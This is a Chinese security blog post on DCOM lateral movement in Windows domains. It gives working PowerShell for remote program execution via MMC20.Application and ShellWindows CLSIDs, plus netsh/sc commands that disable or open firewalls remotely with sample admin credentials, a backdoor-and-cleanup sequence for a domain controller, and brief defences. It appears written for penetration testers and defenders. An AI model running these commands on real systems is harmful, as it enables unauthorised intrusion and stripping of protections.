當前位置:
首頁 > 最新 > 域滲透——利用DCOM在遠程系統執行程序

域滲透——利用DCOM在遠程系統執行程序

0x00 前言

在以前的文章《在遠程系統上執行程序的技術整理》整理過域環境下常用的程序執行方法:at、psexec、WMIC、wmiexec、smbexec和powershell remoting,這次將基於Matt Nelson? @enigma0x3的研究,詳細介紹在域環境下使用DCOM執行程序的方法,分析相關攻防思路。

學習鏈接如下:

https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/

0x01 簡介

本文將要介紹以下內容:

· DCOM使用介紹

· 實際利用思路

· 命令行配置防火牆的技巧

· 防禦思路

0x02 DCOM使用介紹

相關基礎知識暫略,關於DCOM的介紹可參考如下鏈接:

https://msdn.microsoft.com/en-us/library/cc226801.aspx

本節主要選取Matt Nelson? @enigma0x3博客中的主要利用方法進行復現

獲得DCOM的程序列表:

powershell代碼:

Get-CimInstance Win32_DCOMApplication

註:

Get-CimInstance只適用於Powershell 3.0及以上,Win7默認為2.0不支持,可使用以下替代命令:

Get-WmiObject -Namespace ROOTCIMV2 -Class Win32_DCOMApplication

當然,直接使用wmic查詢也可以,代碼如下:

wmic /NAMESPACE:"rootCIMV2" PATH Win32_DCOMApplication GET /all /FORMAT:list

powershell對WMI的調用可使用wmic命令進行替換,詳情可參考:

https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe/

1、對本機測試

管理員許可權,powershell代碼如下:

獲得"MMC20.Application"支持的操作:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))$com.Document.ActiveView | Get-Member

如下圖

查看ExecuteShellCommand對應的參數說明:

$com.Document.ActiveView.ExecuteShellCommand

如下圖

ExecuteShellCommand對應的參數具體含義可參考以下鏈接:

https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx

通過ExecuteShellCommand執行程序:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))$com.Document.ActiveView.ExecuteShellCommand( cmd.exe ,$null,"/c calc.exe","Minimized")

2、對遠程系統測試

測試環境:域環境

Client:關閉防火牆

Server:獲得域主機內置帳戶administrator的口令,可net use連接至Client

Server端管理員許可權可選擇執行如下powershell代碼:

1.調用MMC20.Application

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.0.2"))$com.Document.ActiveView.ExecuteShellCommand( cmd.exe ,$null,"/c calc.exe","Minimized")

操作如下圖

Clinet端查看程序列表,啟動的calc.exe用戶名為test2(Client端當前登錄用戶為a),如下圖

2.調用』9BA05972-F6A8-11CF-A442-00A0C90A8F39』

$com = [Type]::GetTypeFromCLSID( 9BA05972-F6A8-11CF-A442-00A0C90A8F39 ,"192.168.0.2")$obj = [System.Activator]::CreateInstance($com)$item = $obj.item()$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:windowssystem32",$null,0)

Clinet端查看程序列表,啟動的calc.exe用戶名為a(同Client端當前登錄用戶名相同),如下圖

註:

以上兩種方式適用於Win7-Win10

3.調用』C08AFD90-F2A1-11D1-8455-00A0C91F3880』

$com = [Type]::GetTypeFromCLSID( C08AFD90-F2A1-11D1-8455-00A0C91F3880 ,"192.168.0.2")$obj = [System.Activator]::CreateInstance($com)$obj.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:windowssystem32",$null,0)

註:

該方法不適用於Win7,適用於Win10和Server2012 R2

0x03 實際利用思路

思路一:域環境未開啟防火牆,直接使用

當然,需要獲得域內置帳戶administrator的口令

方法不再贅述

思路二:默認開啟防火牆,本地修改配置關閉防火牆

這樣,其他主機就可以遠程操作該主機,可分別通過以下方式實現

1、通過配置入站規則支持DCOM

命令行開啟任意埠的代碼如下:

netsh advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow

註:

DCOM通信埠是由RPC動態分配,不固定,所以將入站埠規則設置為any

添加後,防火牆高級功能面板能發現添加的入站規則,如下圖

2、關閉防火牆功能

Windows Firewall對應的服務名為mpssvc,使用sc命令可遠程關閉防火牆服務,命令如下:

sc 192.168.0.2 stop mpssvc

但關閉防火牆服務並不能關閉防火牆功能,需要使用如下命令關閉防火牆功能:

netsh advfirewall set currentprofile state off

註:

補充開啟防火牆功能的命令:

netsh advfirewall set currentprofile state on

3、通過防火牆配置文件設置入站規則

防火牆默認配置規則如下:

· 阻止與規則不匹配的入站連接

· 允許與規則不匹配的出站連接

如下圖

修改規則,允許與規則不匹配的入站連接,命令如下:

netsh advfirewall set currentprofile firewallpolicy allowinbound,allowoutbound

修改後,通過高級面板能夠看到修改後的配置,如下圖

此時,防火牆狀態報警,如下圖

還原防火牆配置的命令如下:

netsh advfirewall set currentprofile firewallpolicy blockinbound,allowoutbound

思路三:遠程修改防火牆配置

可使用netsh遠程配置防火牆規則,需要知道用戶名密碼,管理員許可權執行如下命令:

netsh -r 192.168.0.2 -u TESTadministrator -p domain123! advfirewall set currentprofile firewallpolicy allowinbound,allowoutbound

註:

對當前配置文件(即域配置文件):

netsh advfirewall set currentprofile settings remotemanagement enable

所有配置文件可以使用:

netsh advfirewall set allprofiles settings remotemanagement enable

報錯如下:

An error occurred while attempting to connect to the remote computer. Make sure that the Windows Firewall service on the remote computer is running and configur ed to allow remote management, and then try your request again.

說明遠程計算機不允許遠程管理,遠程計算機需要作如下設置:

允許Windows防火牆遠程管理

默認不支持,選中打勾代表開啟,如下圖

註:

該操作可通過命令行實現,本地管理員許可權執行:

netsh advfirewall set currentprofile settings remotemanagement enable

該功能打開後,其他主機可遠程管理本機防火牆配置:

(管理員許可權)

netsh -r 192.168.0.2 -u TESTadministrator -p domain123! advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow

如下圖

綜上,利用DCOM在域控遠程執行程序的思路如下:

1、獲取域控許可權

包括域控內置帳戶administrator的口令,如果域控防火牆關閉,可直接遠程執行程序

註:

如果想使用其他帳戶遠程連接,需要先通過dcomcnfg.exe進入COM安全,激活用戶的遠程啟動和遠程激活屬性

2、預置後門

如果域控開啟防火牆,無法直接使用DCOM遠程執行,需要獲得遠程修改防火牆配置的許可權,該許可權可通過設置允許Windows防火牆遠程管理(系統默認關閉)獲得

該操作需要3389連接域控或是使用其他方法在域控主機上執行代碼,管理員許可權執行:

netsh advfirewall set currentprofile settings remotemanagement enable

3、遠程打開埠

使用netsh遠程修改域控防火牆規則,打開埠

netsh -r 192.168.0.2 -u TESTadministrator -p domain123! advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow

4、遠程執行

使用net use 遠程連接,接著執行如下powershell代碼:

$com = [Type]::GetTypeFromCLSID( 9BA05972-F6A8-11CF-A442-00A0C90A8F39 ,"192.168.0.2")$obj = [System.Activator]::CreateInstance($com)$item = $obj.item()$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:windowssystem32",$null,0)

註:

選擇使用"9BA05972-F6A8-11CF-A442-00A0C90A8F39 ,執行程序的用戶名為當前登錄用戶

5、遠程恢復域控防火牆設置

netsh -r 192.168.0.2 -u TESTadministrator -p domain123! advfirewall firewall Delete rule name="any"

0x04 防禦

針對利用DCOM遠程執行程序,只要開啟防火牆即可

也可禁用內置帳戶Administrator對COM的遠程啟動和遠程激活許可權,命令如下:

dcomcnfg.exe

打開組件服務-我的電腦-屬性-COM安全-啟動和激活許可權-編輯默認值,如下圖

當然,通過抓包分析特徵也是可以的

0x05 小結

本文對使用DCOM執行程序的方法作了利用分析,最後感謝Matt Nelson? @enigma0x3分享他的文章。

本文為 3gstudent 原創稿件,授權嘶吼獨家發布


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

內存取證分析的實戰演練
黑客開發虛假WordPress安全插件植入後門感染用戶
研究顯示:數百萬蘋果Mac設備仍受EFI固件漏洞影響
「隱魂」木馬篡改主頁分析:史上反偵察力最強木馬的犯罪素描

TAG:嘶吼RoarTalk |